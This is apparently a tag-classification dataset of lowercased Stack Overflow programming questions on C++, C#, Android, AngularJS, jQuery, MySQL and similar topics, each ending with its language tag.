c++ how to fix an incompatible data type initialization   hi i am trying to create a function to calculate distance between 2 places using the haversine formula.     i created a function for this and included <code>&lt;cmath&gt;</code> and defined <code>_use_math_define</code>     <pre><code>  travel distanceto(travel travel){      double a = 0  c = 0  dlat = 0  dlon = 0  lon2 = 0 lon1 = 0 lat2 = 0 lat1 = 0 distance = 0;     double r = 637300;      dlon = lon2 - lon1 * (m_pi/180);     dlat = lat2 - lat1 * (m_pi/180);     a = pow((sin(dlat / 2))  2) + cos(lat1) * cos(lat2) * pow((sin(dlon / 2))  2);     c = 2 * atan2(sqrt(a)  sqrt(1 - a));     distance =  r * c;     return distance;  } </code></pre>   i am very new to c++ and possess fairly basic programming knowledge. i am trying to call this method in a <strong>main.cpp</strong> file. as such <code>double distance = school.distanceto(home)</code>. as expected i get an error warning me that double is not compatible with type travel. i know i haven t referenced/used travel in the actual function  but i don t know how to properly implement it.     any example with the correct way to do this is much appericiated.     the travel object contains <code>(double lat  double long  string place  int time)</code>,c++
create css file based on dropdown selection  i use below website for my reference.    <a href= http://www.css3maker.com/  rel= nofollow >http://www.css3maker.com/</a>    i want to create css file based on dropdown selection change in asp.net.    select html tag from dropdown  then it is display output and based on that create css file.,asp.net
angularjs specific page without ng-incude  i design my pages with angularjs like following   <pre><code>&lt;html&gt;  &lt;head&gt;&lt;/head&gt;  &lt;body&gt;   &lt;ng-view&gt;&lt;/ng-view&gt;   &lt;ng-include=  footer-tpl.html  &gt;  &lt;/body&gt; &lt;/html&gt; </code></pre>   so whenever navigate to any pages will just change the ng-view  but now i want to have a  page without the &lt;<code>ng-include=  footer-tpl.html  </code>>. how to do that,angularjs
how to make html pull from local .css file   so my good friend lent me his resume template. the problem is it goes to his unpkg link to get the minified css file. everytime i alter the css file  it is overwritten by the one being fetched. i am looking to make the local css file the main source for the website structure. sorry for formatting in advanced  still not great with it.   <pre><code>**html**   &lt;!doctype html&gt;&lt;html&gt;&lt;head&gt;&lt;meta charset= utf-8 &gt; &lt;title&gt;resume&lt;/title&gt; &lt;meta name= viewport  content= width=device-width  initial-scale=1 &gt; &lt;link rel= stylesheet  href= https://ajax.googleapis.com/ajax/libs/angular_material/1.1.0-rc2/angular-material.min.css &gt; &lt;link href= https://maxcdn.bootstrapcdn.com/font-awesome/4.6.3/css/font-awesome.min.css  rel= stylesheet  integrity= sha384-t8gy5hrqnkt+hzmclpo118ytqo6cyprqmhrywiiq/3axmi1hqomh7ud2hpoy8sp1  crossorigin= anonymous &gt; &lt;link href= https://fonts.googleapis.com/css family=raleway:500 200 700  rel= stylesheet &gt; &lt;script src= https://ajax.googleapis.com/ajax/libs/angularjs/1.5.3/angular.min.js &gt;&lt;/script&gt; &lt;script src= https://ajax.googleapis.com/ajax/libs/angularjs/1.5.3/angular-animate.min.js &gt;&lt;/script&gt; &lt;script src= https://ajax.googleapis.com/ajax/libs/angularjs/1.5.3/angular-aria.min.js &gt;&lt;/script&gt; &lt;script src= https://ajax.googleapis.com/ajax/libs/angularjs/1.5.3/angular-messages.min.js &gt;&lt;/script&gt; &lt;script src= https://ajax.googleapis.com/ajax/libs/angular_material/1.1.0-rc2/angular-material.min.js &gt;&lt;/script&gt;  &lt;link href= https://unpkg.com/material-resume@1.0.1/resume.min.css  rel= stylesheet &gt; &lt;script src= https://unpkg.com/material-resume@1.0.1/resume.min.js &gt;&lt;/script&gt;   &lt;/div&gt; &lt;/head&gt;&lt;body ng-app= resume  ng-cloak=  &gt;     &lt;resume&gt;         &lt;resume-heading first-name= example                          last-name= example                          linkedin= example                          github= example                          email= example &gt;         &lt;/resume-heading&gt;         &lt;resume-body&gt;             &lt;resume-column flex= 20 &gt;                 &lt;sidebar-category name= education &gt;                     &lt;p&gt;university at albany student&lt;/p&gt;                     &lt;p&gt;graduating may 2021&lt;/p&gt;                     &lt;p&gt;computer engineering &lt;/p&gt;                     &lt;p&gt;computer science&lt;/p&gt;                     &lt;p&gt;gpa - 3.01&lt;/p&gt;                 &lt;/sidebar-category&gt;                 &lt;sidebar-category name= achievements &gt;                     &lt;p&gt;first robotics championships 2015 2016 2017&lt;/p&gt;                     &lt;p&gt;lead electrical captain 2016 2017&lt;/p&gt;                     &lt;p&gt;advanced regents diploma&lt;/p&gt;                 &lt;/sidebar-category&gt;                 &lt;sidebar-category name= coursework &gt;                     &lt;p&gt;data structures&lt;/p&gt;                     &lt;p&gt;algorithms&lt;/p&gt;                     &lt;p&gt;programmings langauges&lt;/p&gt;                     &lt;p&gt;discrete math&lt;/p&gt;                 &lt;/sidebar-category&gt;             &lt;/resume-column&gt;             &lt;resume-column flex= 80 &gt;                 &lt;category name= professional experience &gt;                     &lt;category-item title= high school jobs  subtitle= brinkmann hardware &gt;                         &lt;li&gt;local hardware store work&lt;/li&gt;                         &lt;li&gt;cashier  store clerk&lt;/li&gt;                     &lt;/category-item&gt;                 &lt;/category&gt;                 &lt;category name= projects &gt;                 &lt;/category&gt;                 &lt;category name= skills &gt;                     &lt;category-item title= web development &gt;                         &lt;li&gt;&lt;strong&gt;dank memes&lt;/strong&gt; i can find the deepest  dankest memes out there on the inerwebs&lt;/li&gt;                         &lt;li&gt;&lt;strong&gt;distributed systems&lt;/strong&gt; i only run my apps on kubernetes and a coreos cluster&lt;/li&gt;                         &lt;li&gt;&lt;strong&gt;tooling&lt;/strong&gt; i literally treat dan abromov s twitter as holy gospel&lt;/li&gt;                         &lt;li&gt;&lt;strong&gt;frameworks&lt;/strong&gt; react  redux  reselect  redankmeme  revenant  angular&lt;/li&gt;                     &lt;/category-item&gt;                     &lt;category-item title= technologies &gt;                         &lt;li&gt;&lt;strong&gt;experienced with&lt;/strong&gt; web &amp;amp; hybrid app development \ functional programming&lt;/li&gt;                         &lt;li&gt;&lt;strong&gt;programming&lt;/strong&gt; javascript \ scala \ python \ php \ c \ java&lt;/li&gt;                         &lt;li&gt;&lt;strong&gt;databases&lt;/strong&gt; rethinkdb \ mongodb \ mysql \ postgresql \ redis&lt;/li&gt;                     &lt;/category-item&gt;                 &lt;/category&gt;             &lt;/resume-column&gt;         &lt;/resume-body&gt;     &lt;/resume&gt;   &lt;/body&gt;&lt;/html&gt;  **js**     angular.module( resume   [ ngmaterial ]) .component( resume   {   transclude: true    template: `&lt;div class= resume &gt;     &lt;section class= main  ng-transclude&gt;&lt;/section&gt;   &lt;/div&gt;` })  .component( resumeheading   {   controlleras:  r     transclude: true    bindings: {     firstname:  @       lastname:  @       website:  @       phone:  @       email:  @       github:  @       linkedin:  @    }    template: `&lt;div class= header &gt;     &lt;div class= page-title-container &gt;       &lt;h1 class= page-title page-title-first &gt;{{r.firstname}}&lt;/h1&gt;       &lt;h1 class= page-title page-title-last &gt;{{r.lastname}}&lt;/h1&gt;     &lt;/div&gt;     &lt;div class= header-icons &gt;       &lt;a ng-if= r.website  class= md-subhead page-subhead  ng-href= https://{{r.website}}  target= _blank &gt;         &lt;i class= fa fa-lg fa-code &gt;&lt;/i&gt;{{r.website}}       &lt;/a&gt;       &lt;span ng-if= r.phone  class= md-subhead page-subhead &gt;         &lt;i class= fa fa-lg fa-phone &gt;&lt;/i&gt;{{r.phone}}       &lt;/span&gt;       &lt;a ng-if= r.email  class= md-subhead page-subhead  ng-href= mailto:{{r.email}}  target= _blank &gt;         &lt;i class= fa fa-lg fa-envelope &gt;&lt;/i&gt;{{r.email}}       &lt;/a&gt;       &lt;a ng-if= r.github  class= md-subhead page-subhead  ng-href= https://github.com/{{r.github}}  target= _blank &gt;         &lt;i class= fa fa-lg fa-github &gt;&lt;/i&gt;{{r.github}}       &lt;/a&gt;       &lt;a ng-if= r.linkedin  class= md-subhead page-subhead  ng-href= https://linkedin.com/in/{{r.linkedin}}  target= _blank &gt;         &lt;i class= fa fa-lg fa-linkedin-square &gt;&lt;/i&gt;{{r.linkedin}}       &lt;/a&gt;     &lt;/div&gt;   &lt;/div&gt;   &lt;ng-transclude&gt;&lt;/ng-transclude&gt;` })  .component( resumebody   {   transclude: true    template: `&lt;div layout= row  ng-transclude&gt;&lt;/div&gt;` })  .component( resumecolumn   {   transclude: true    template: `&lt;div ng-transclude&gt;&lt;/div&gt;` })  .component( sidebarcategory   {   controlleras:  r     bindings: {     name:  @    }    transclude: true    template: `&lt;div flex=   class= category-row &gt;     &lt;div class= category &gt;       &lt;h5 class= category-row-title &gt;{{r.name}}&lt;/h5&gt;       &lt;ng-transclude&gt;&lt;/ng-transclude&gt;     &lt;/div&gt;   &lt;/div&gt;` })  .component( category   {   controlleras:  r     bindings: {     name:  @    }    transclude: true    template: `&lt;div flex=   class= category-row &gt;     &lt;h4 class= category-row-title &gt;{{r.name}}&lt;/h4&gt;     &lt;ng-transclude&gt;&lt;/ng-transclude&gt;   &lt;/div&gt;` })  .component( categoryitem   {   controlleras:  r     bindings: {     title:  @       subtitle:  @    }    transclude: true    template: `&lt;div class= category &gt;     &lt;h5 class= category-title md-body-2 &gt;{{r.title}}&lt;/h5&gt;&amp;nbsp;     &lt;h5 class= category-subtitle md-caption &gt;{{r.subtitle}}&lt;/h5&gt;     &lt;ul class= category-bullets  ng-transclude&gt;&lt;/ul&gt;   &lt;/div&gt;` })  **css**     h1  h2  h3  h4  h5  h6  p  a  li  span {   font-family:  raleway   sans-serif; }  .resumebody {   background-color: #a1eac8;   min-height: 100vh; } .resume .main {   height: 100%;   width: 700px;   background-color: #fff;   padding: 0 25px;   margin: 0 auto; } .resume .main .header {   border-bottom: 2px solid #ddd; } .resume .main .header .page-title-container {   margin: 0 auto;   text-align: center;   padding-bottom: 10px; } .resume .main .header .page-title {   font-size: 48pt;   display: inline; } .resume .main .header .page-title-first {   font-weight: 400; } .resume .main .header .page-title-last {   font-weight: 200; } .resume .main .header .header-icons {   text-align: center; } .resume .main .header .header-icons .page-subhead {   margin: 1rem 15px;   display: inline; } .resume .main .header .fa {   padding-right: 10px; } .resume .main .indented {   padding-left: 40px; } .resume .main .category-row {   padding-bottom: 2px; } .resume .main .category-row .category {   margin-right: 10px;   padding-left: 5px;   padding-right: 10px;   border-bottom: 1px solid #ddd;   border-right: 1px solid #ddd; } .resume .main .category-row .category-row-title {   margin: 0.4rem 0; }  .resume .main .category-row .category-title  .resume .main .category-row .category-subtitle {   display: inline;   margin-top: 10px;   margin-bottom: 5px; }  .resume .main .category-row .category-bullets {   margin-top: 5px; } .resume .main .category-row p  .resume .main .category-row li {   font-size: smaller; }  sidebar-category:last-of-type .category {   border-bottom: 0 !important;   padding-bottom: 0 !important;   margin-bottom: 0 !important; }  category:last-of-type category-item:last-of-type .category {   border-bottom: 0 !important;   padding-bottom: 0 !important;   margin-bottom: 0 !important; }  a.page-subhead {   color: initial;   text-decoration: none; } </code></pre>,html
c++. member function cannot be called. error :  foo is private  <pre><code>#include &lt;stdio.h&gt;  class myclass {     void foo(const int par);  };    void myclass::foo(const int par) { }   main()  {    myclass a;    a.foo(1);  } </code></pre>   anyone can help me  what is wrong with my code  this is the error i get when compiling with gcc:   <pre><code>error: ‘void myclass::foo(int)’ is private </code></pre>,c++
mysql multiple count() with different conditions in single query  i have a table with the following structure   <pre><code>id  | season 1   | 1 2   | 1 2   | 2 3   | 2 4   | 2 5   | 1 </code></pre>   i want the query to return the count of the the <strong>total</strong> ids like:   <pre><code>total_season2  | new | existing       3        |  2  |    1 </code></pre>   i can do it with multiple queries or using php but i want to have the results in a single query,mysql
c - reading lines from file  i am trying to read line by line from a file and print out the line. but when i run the code  it starts printing out the lines starting in the middle.    <pre><code>char temp[300];  if (input == null) {     printf( can t open input file.\n );     exit(-1); }  while (!feof(input)) {     fgets(temp  300  input);     printf( %s \n   temp); } fclose(input); </code></pre>   any reason for it to start in the middle     edit: so and example of what i mean in the middle is that i have a list like this    <pre><code>7 12 angry men 1957 95 2001: a space odyssey 1968 211 8 and a half 1963 190 a beautiful mind 2001 68 a clockwork orange 1971 223 a fistful of dollars 1964 108 a separation 2011 233 a streetcar named desire 1951 40 alien 1979 58 aliens 1986 96 all about eve 1950 224 all quiet on the western front 1930 250 all the president s men 1976 91 amadeus 1984 69 amelie 2001 54 american beauty 1999 33 american history x 1998 189 amores perros 2000 </code></pre>   and when i get to the printf it only shows this    <pre><code>58 aliens 1986 96 all about eve 1950 224 all quiet on the western front 1930 250 all the president s men 1976 91 amadeus 1984 69 amelie 2001 54 american beauty 1999 33 american history x 1998 189 amores perros 2000 </code></pre>   edit2: i made a change in the program to get rid of the \n in printf    <pre><code>while (fgets(temp  sizeof(temp)  input) != null) {         printf( %s   temp);     } </code></pre>   and this fixed the problem. is there any reason why the \n caused this problem,c
how to show multiple images one after another in imageview dynamically in android  sir i am making an app in which i have an activity where i will enter any sentence in edit text box and my code will split it into characters and then i have to show images corresponding to each character one after another in same pattern by which sentence is composed of characters. now i dont know which technique should i use. one of my senior said me to use multi threading but i dont know how to code it...can you give me some hint. please. its about my final project of mcs and we did not study android in our course work i am doing it on my own. really need some help.,android
is an app using significant location change subject to the same app submission scrutiny as an app with a uibackgroundmode key of location   would an app that uses a significant location change notification to wake itself up to perform a background activity be likely to be rejected from the app store,ios
calculate remaining height using css calc()  i need the <code>.content</code> div use all the available space   <pre><code>body {     height: 100%; } .nav {     padding: 20px; }  .content {     height: 100%; }  &lt;body&gt;     &lt;div class= nav &gt;nav&lt;/div&gt;     &lt;div class= content &gt;content&lt;/div&gt; &lt;/body&gt; </code></pre>   since i don t know the height of the <code>.nav</code> i can t use <code>height: calc(100%-xpx)</code> is there any other way to make <code>.content</code> use the remaining height of the page     thanks,css
how to open different local files according to the result   i m very new to javascript and i m having an issue with this script:   <pre><code>function processinp() {     var x = parseint(document.queryselector( input[name= num ] ).value);     if (!x) {         alert( nan );         return false     } else if (x &gt; 480) {         alert( overflow! );         return false     }     window.open( ../files/  + x +  .html );     return true } </code></pre>   first  it checks if the input is a number  then if it is higher than 480  so throw an alert and an error. that s completly fine and working. what i really can t do is opening the url according to the input. is it possible with numbers  how  full example if possible. thank you!,javascript
set datetimepicker to a date from a string  i got a file which has dates stored as the following format (yyyy|dmm|dd). i now need to retrieve the values from this file and set the datetimepicker to the correct year month and day matching the ones in the stored string. im able to retrieve all data correctly only i dont know how to set the calander correctly matching the strings. this is what i got so far although it doesnt work:   <pre><code>string[] editdate = clean[3].split( | ); editdatepickcalendar.value = datetime.parse( {0} {1} {2}   editdate[0]  editdate[1]  editdate[2]); </code></pre>,c#
streamwriter is writing carriage returns   i have a very simple console application that creates a text file. below is a recap of the code:   <pre><code>streamwriter writer = file.createtext( c:\\temp.txt ); foreach (blah...) {   writer.write(body.tostring() +  \n );   writer.flush(); } writer.close(); </code></pre>   the client is claiming there are carriage returns at the end of each line. where are these carriage returns coming from     <strong>update:</strong> after opening in vs binary editor and notepad++  there were no occurrences of <code>0d 0a</code>. i m going to go back to the client.,c#
what does this kind of header mean in a .h file   i recently came across this formatting for a <code>.h header file</code>. can someone explain to me why this is done this way and what it means  in particular  i am confused about what is in the first set of braces/the repetition  how does this differ from if i were to delete the braces and everything between them     <pre><code>@interface acustomview : uiview {     float chartwidth  chartheight; } @property (nonatomic  readwrite) float chartwidth  chartheight; @end </code></pre>,objective-c
what s the easiest way to get a web request into c# code   so... i ve got an asp.net app. let s assume i configure iis to always point to the same file  <code>index.aspx</code>. let s say i want to write <em>all</em> my code in c# and then return some html i generated in the c#. how do i do that     would i just have 1 file with 1 line of code    <pre><code>&lt;%@ page codebehind= mycode.cs  </code></pre>   is it necessary to have such a  useless  file  i can t direct the request straight into the code-behind     secondly  where are some good tutorials on code-behinds  specifically  i see this <code>page_load</code> event that i guess gets called automatically     <ul> <li>are there other events  what are they  </li> <li>also  how would i access things like post data  or the request url </li> <li>how would i return a html response  or a 404 </li> </ul>   i m seeing a lot of tutorials on  inline  asp  but i don t really care about that.,asp.net
approach on loading angular js templates for a multi tenant application   i have a spa angular application. i need to hide or show certain sections of a particular template based on the tenant id of the logged in user. the problem is  tenant a may want to hide some controls and add some extra attrbutes  where as tenant b may have a altogther separate requirement on the same page.     i may end up writing lots of if else on the same template and may also need to modify controllers to handle conditions of various tenants.if number of tenants increases  the solution becomes messier.    one more approach is to introduce redundancy and make separate copies of templates for each tenant and maintain a configuration mapping of tenant to templates. this way code is segregated.but still controllers would be same. if i duplicate controllers  even test suite has to be duplicated and will take time if test suite is ran for every tenant.    can somebody give me a better approach  how can this be achieved in a optimal way,angularjs
how to use external projects in an asp.net project  update :  it turned out that the project i was referring to was a console app.  rebuilding it as a class library was the solution.    i guess this should be an easy one :     i have only just started asp.net and for now need it only as a tool for some  quick intranet reporting.  i have an existing project that supplies the data  but i am not able to refer to it from within my web project.      the library is called (for example sake)  lib  and i want to test the static method  helloworld()  in utils.  i have included the lib project in the references.  the compiler knows it s there cause intellisense is working and the project dependencies indicate that the webproject is depdendant on lib.   <pre><code>&lt;div&gt;         &lt;% response.write(lib.utils.helloworld()); %&gt;          &lt;/div&gt; </code></pre>  <blockquote>    compiler error message: cs0103: the   name  lib  does not exist in the   current context  </blockquote>   of course i am very newbee  but in the examples and tutorials for beginners  i haven t fount how to refer to external projects.     thanks!,asp.net
add id or class to flash message  is there a way to add a class or an id to a specific flash message  i need to have some messages fade away and some persist. i would like to do this based on a html class.    thanks for any help,ruby-on-rails
two buttons side by side with a background image  i wish to have two large buttons side by side. they should take up the full with of the screen (i.e. half the width each). i want the background of the buttons to contain an image (which will be scaled down from a source image much larger than the button). i want the height of the buttons to be dictated by the aspect ratio of the image. preferably all done in xml. can it be done     i tried the following  only to find that the buttons appeared square  even though the images are much wider than they are tall (and both images have the same dimensions).   <pre><code>&lt;linearlayout     android:layout_width= match_parent      android:layout_height= wrap_content  &gt;      &lt;button         android:id= @+id/rep_button          android:layout_width= fill_parent          android:layout_height= wrap_content          android:layout_weight= 0.1          android:background= @drawable/repeating          android:text=   /&gt;      &lt;button         android:id= @+id/oneoff_button          android:layout_width= fill_parent          android:layout_height= wrap_content          android:layout_weight= 0.1          android:background= @drawable/oneoff          android:text=   /&gt;  &lt;/linearlayout&gt; </code></pre>,android
smart pointer class predeclaration  i have a header file:   <pre><code>class a { public:     deviceproxyptr getdeviceproxy();  }; </code></pre>   deviceproxyptr is defined in a different header file like this:   <pre><code>typedef smartptrc&lt;deviceproxyc&gt; deviceproxyptr; </code></pre>   i don t want to include deviceproxyptr definition header.  if a return type was deviceproxy* i could simply use predeclaration <code>class deviceproxy</code>.  is there any way to do the same with my smart pointer class,c++
capitalize input fields with javascript but account for special cases  i am using the touppercase() method to capitalize the first letter of a word in a form input field. here s what my code looks like:   <pre><code>function validatefieldforceuppercase(type  name ) {   if (name ==  firstname  )   {     //obtain the upper case value     var firstname = nlapigetfieldvalue( firstname )     var uppercase = firstname.charat(0).touppercase()+firstname.substr(1).tolowercase();      //make sure it hasn t been set     if (uppercase != nlapigetfieldvalue( firstname  ))     {       nlapisetfieldvalue( firstname   uppercase  false );     } return true; } </code></pre>   is it possible in javascript to auto-capitalize the first letter of each word in a form input field and also account for special cases such as  abc company  or a name like  mccarthy  can these be ignored by the code or corrected with some other solution     note: some of the code given are netsuite functions  in case there is any confusion.,javascript
should i mention two activity tags for two classes in manifest file   i am having two classes in my android project so  should i mention two activity tags in my app manifest file or will it work without including the activity tag.     although  my app is working fine but i think this creates error - unfortunately  your app has stopped working.,android
improve this jquery   i m a jquery noob--using easyslider 1.7--buttons are over the slider--so effects muddle the jquery...using simple show/hide right now and works fine!    i want to improve the following medial code to be a little more eloquent  if possible.    i d like the buttons to fadein/fadeout on hover of the slider div  and stay visible when hovering over the buttons (which are floating over the slider div).  sorry  can t post html.   <pre><code>$( #prevbtn #nextbtn ).hide(); $( #slider ).hover(   function () {     $( #prevbtn #nextbtn ).show();   }    function () {     $( #prevbtn #nextbtn ).hide();   } ); $( #prevbtn ).hover(   function () {     $( #prevbtn #nextbtn ).show();   }    function () {     $( #prevbtn #nextbtn ).hide();   } ); $( #nextbtn ).hover(   function () {     $( #prevbtn #nextbtn ).show();   }    function () {     $( #prevbtn #nextbtn ).hide();   } ); </code></pre>,jquery
how to evaluate this program prefix and postfix operators  i was trying to solve this question but i am unable to find how to do this    <pre><code>#include &lt;stdio.h&gt;  int main(void) {     int a=1  b=1 d=1;     printf( %d  %d %d   ++a + ++a + a++   a++ + ++b  ++d + d++ + a++);     return 0; } </code></pre>   it output is <code>15  4  6</code>.    can someone tell the whole process of this.,c
how i add or hide a select tag from radio buttons yes and no   i have a big form with 10 labels with selects or inputs beside. at the end of this form i have two radio buttons inline(yes no) and i want with the choice  no  to create below of this tenth label another new eleventh label (with select tag) and with the choice  yes  to hide this eleventh label from below (with the select tag).   <pre><code>&lt;div class= form-group &gt;   &lt;label class= control-label col-sm-3 &gt; is that new  &lt;/label&gt;     &lt;div class= col-sm-4 &gt;         &lt;label class= radio-inline &gt; &lt;input type= radio  name= optradio              id= buy_no /&gt;no &lt;/label&gt;         &lt;label class= radio-inline &gt; &lt;input type= radio  name= optradio              id= buy_yes /&gt;yes &lt;/label&gt;     &lt;/div&gt; &lt;/div&gt; &lt;div class= form-group &gt;     &lt;label class= control-label col-sm-3  id= label_form &gt; months&lt;/label&gt;     &lt;div class= col-sm-1 &gt;         &lt;select class= form-control input-lg  placeholder= month          name= month_change  id= month_change &gt;             &lt;option&gt;1&lt;/option&gt;             &lt;option&gt;2&lt;/option&gt;             &lt;option&gt;3&lt;/option&gt;             &lt;option&gt;4&lt;/option&gt;         &lt;/select&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   with choice no:    <a href= https://i.stack.imgur.com/eqhhx.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/eqhhx.jpg  alt= enter image description here ></a>    with choice yes:    <a href= https://i.stack.imgur.com/m07wl.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/m07wl.jpg  alt= enter image description here ></a>,jquery
incompatible block pointer types sending  void (^__strong)(__strong id)  to parameter of type  swizzleblock  (aka  void (^)(void) )  trying to fix issues with fbsdkeventbindingmanager.m error for few days but still having hard time to find solution.      error:    <blockquote>    incompatible block pointer types sending  void (^__strong)(__strong id)  to parameter of type  swizzleblock  (aka  void (^)(void) )  </blockquote>   error in this line => <code>withblock:blocktosuperview named:@ map_control ];</code>   <pre><code>void (^blocktosuperview)(id view) = ^(id view) {     [self matchview:view delegate:nil]; };  void (^blocktowindow)(id view) = ^(id view) {     [self matchview:view delegate:nil]; };   [fbsdkswizzler swizzleselector:@selector(didmovetosuperview)                         onclass:[uicontrol class]                      withblock:blocktosuperview named:@ map_control ];  [fbsdkswizzler swizzleselector:@selector(didmovetowindow)                        onclass:[uicontrol class]                      withblock:blocktowindow named:@ map_control ]; </code></pre>,objective-c
why am i facing this and what is workflow  could anyone please help in understanding the stackoverflowerror at runtime in below code. i am not able to understand workflow. one of the interview question:)   <pre><code>public class interview {      interview i1 = new interview();     interview(){         system.out.println( hello );      }      public static void main(string[] args){          interview i = new interview();      }  } </code></pre>,java
how to check current page if at show action without passing id  is there a way to use current_page  to check if the user is at posts/x where x is any number  i am trying to use facebook s og meta tags but i need to only show them if the user is at the show action of my posts controller.    what i currently have (yields an error because of the lack of id):   <pre><code>&lt;%if current_page (controller: posts  action: show )%&gt; &lt;meta property= og:title  content=  &lt;%= @post.title %&gt;  /&gt; &lt;meta property= og:description  content= &lt;%= @post.body.html_safe %&gt;  /&gt; &lt;meta property= og:image  content= &lt;%=uri.join(request.url @post.news_image.url) %&gt;  /&gt; &lt;%end%&gt; </code></pre>   i plan to put this in the header part of my application.html.erb  hence the need to find a way to determine if the current page is the show action. any ideas on how i can use current_page or any other solutions,ruby-on-rails
adding lambdas to a set behaves different in a loop  i have a set that takes functional interfaces  let it be  e.g.  supplier. so we have:   <pre><code>set&lt;supplier&lt;number&gt;&gt; set = new hashset&lt;&gt;(); </code></pre>   if i add manually there some supplying functions  e.g. math.random()  like :   <pre><code>set.add(math::random); set.add(math::random); </code></pre>   then i have a set of <em>n</em> elements  which seems alright. but then in a loop:   <pre><code>for(int i = 0; i &lt; n; i++){     set.add(math::random); } </code></pre>   i end up with a set of just 1 element. why,java
mysql: how to add a column from one table to that of another  i have a table of locations that are verified  like so:   <pre><code>+--------+----------+----------+ |  idw   |   lat    |   lon    | +--------+----------+----------+ | 111650 | 47.20000 | 14.75000 | | 111810 | 47.96412 | 16.25498 | | 111820 | 47.83234 | 16.23143 | +--------+----------+----------+ </code></pre>   i also have a table of  all locations   whether verified or not.  it looks like this (with lots of other columns i m leaving out)   <pre><code>+--------+--------+----------+----------+ |   id   |  idw   |   lat    |   lon    | +--------+--------+----------+----------+ | 100000 | 111650 | 47.20000 | 14.75000 | | 100001 | 111712 | 42.96412 | 19.25498 | | 100002 | 111820 | 47.83234 | 16.23143 | +--------+--------+----------+----------+ </code></pre>   what i would like to do is  for each verified location  find its  id  in the table of  all locations   and attach those as a new first column on the verified table (remembering that not all verified locations exist in all locations  so it s not as easy as copy and paste i don t think).  any ideas     edit:  the expected output from my example above would be   <pre><code>+--------+--------+----------+----------+ |   id   |  idw   |   lat    |   lon    | +--------+--------+----------+----------+ | 100000 | 111650 | 47.20000 | 14.75000 | | 100002 | 111820 | 47.83234 | 16.23143 | |   x    | 111810 | 47.96412 | 16.25498 | +--------+--------+----------+----------+ </code></pre>   where x would be whatever value that 111810 had as its id in the all locations table.,mysql
jquery show and hide image after x seconds  i want to show and image for 2 seconds and the hide it to show a chart. i have the part were the chart appers after 2 seconds but i don t know how to put the image.   <pre><code>$( li ).click(function(){     //toggle list     $(this).toggleclass( active );     $(this).next( div ).stop( true   true ).slidetoggle();     //show image for 2 seconds and then hide it     var did = $(this).attr( id );     var graphic;      if($(this).next( div ).html() ==   )         {         graphic =   ;             $.ajax({                url:  pulse.php did= +did  success: function(data)              {              graphic = data;              }         });     }      //here i show the chart after 2 seconds pulling the data from pulse.php... delay(function(){                    $( # +did).next( div ).html(graphic);     }  2000 ); });       //delay function var delay = (function(){ var timer = 0;          return function(callback  ms){          cleartimeout (timer);          timer = settimeout(callback  ms);      }; })(); </code></pre>,jquery
inserting a valid html link into a string for an email  i m building a string that will be sent over email. in the string i d like to include a link  like so:   <pre><code>string mailstring =  blah blah blah blah. click here for more information.  </code></pre>   and i d like the  here  to be a link in the email  such as putting it <a href= http://madeuplink.com  rel= nofollow >http://madeuplink.com</a>. i know i can put the address instead of the  here  but i d like to have the link be the word.,c#
reading a file into array with mutable array in objective c  i m trying to read a file into array  by using mutable array in objective c like this:   <pre><code>nscharacterset *newlinecharset = [nscharacterset newlinecharacterset]; nsmutablearray *mystr = [data componentseparatedbycharactersinset: newlinecharset]; </code></pre>   and this is the warning that i ve got :   <pre><code>incompatible pointer type initializing  nsmutablearray  with an expression of type  nsarray  </code></pre>   the reason why i used nsmutablearray is because later i m going to convert all the elements inside the array to lowercase. would it be possible to fix the warning and still satisfy the condition to use mutable array   thank you.,objective-c
negative to -1  0 to 0  positive to 1  i have an enumeration <code>myenum (neg -1; none 0; pos 1)</code>.     i use the result of <code>compareto()</code> to initialize a object of that enum.     what is the <strong>most performant</strong> way in .net to do it (negative to -1  0 to 0  positive to 1)     nb.<br> <code>compareto()</code> returns an integer value..,.net
run more than one javascript function on page load <ol> <li>i want run some javascript functions on page load  which ways are exist and which one is better  </li> <li>can i call more than one function in <code>&lt;body onclick= my function(); &gt;</code>  </li> </ol>,javascript
entitydatasource add parameter and paging  i have listview with paging and entitydatasource. listview should show all items from database but if in url we have for example phrase  cat  it should show only items with phrase  cat  in title so i have:   <pre><code>public partial class list : system.web.ui.page {     protected void page_load(object sender  eventargs e)     {         if (request.querystring[ phrase ] != null)         {             entitydatasource1.whereparameters.add( phrase   typecode.string  request.querystring[ phrase ].tostring());             entitydatasource1.where =  it.title like  %  + @phrase +  %  ;         }     } } </code></pre>   but when i go to next page i have error: <strong>parameter name  phrase  already exists in the parameter collection</strong>    what can i do,asp.net
.net path combine  i have an issue path combine.   <pre><code>... repository.configdir = path.combine(repository.dir  @ \config ); repository.credfile = path.combine(repository.configdir  @ \credentials.xml );  system.out.println(repository.configdir); system.out.println(repository.credfile); </code></pre>   output:    <pre><code> c:\users\username\documents\config    \\credentials.xml  </code></pre>   why my first part of the path is missing in <code>credfile</code>,.net
how to show a uinavigationcontroller on top of a uitextview   i want to show <code>uinavigationcontroller</code> on top of a <code>uitextview</code>. however it is not showing the navigation controller. only the <code>uitextview</code> is visible.    this is how i am trying to show it:   <pre><code>uibutton *mybutton = [uibutton buttonwithtype:uibuttontypecustom];  [mybutton addtarget:self action:@selector(dismissview:) forcontrolevents:uicontroleventtouchupinside];  mybutton.frame = cgrectmake(0  0  50  10);  [mybutton settitle:@ done  forstate:uicontrolstatenormal];  uibarbuttonitem *button = [[uibarbuttonitem alloc] initwithcustomview:mybutton];  [[self navigationitem] setleftbarbuttonitem:button animated:yes];  [button release];  self.title = @ info ;  self.textview = [[[uitextview alloc] initwithframe:cgrectmake(0  0  320  416)]autorelease];  self.textview.textcolor = [uicolor whitecolor];  self.textview.font = [uifont fontwithname:@ georgia-bolditalic  size:14];  self.textview.backgroundcolor = [uicolor browncolor];  self.textview.layer.borderwidth = 1;  self.textview.layer.bordercolor = [[uicolor whitecolor] cgcolor];  self.textview.layer.cornerradius = 1;  self.textview.textalignment =  uitextalignmentcenter;  self.textview.text = @ \nthis is uitextview\nthis is uitextview\nthis is uitextview\nthis is uitextview ;  self.textview.editable = no;  [self.view addsubview: self.textview];    //[self.view addsubview:navigationcontroller.view];  } </code></pre>   any ideas what i am missing  thanks for helping.,iphone
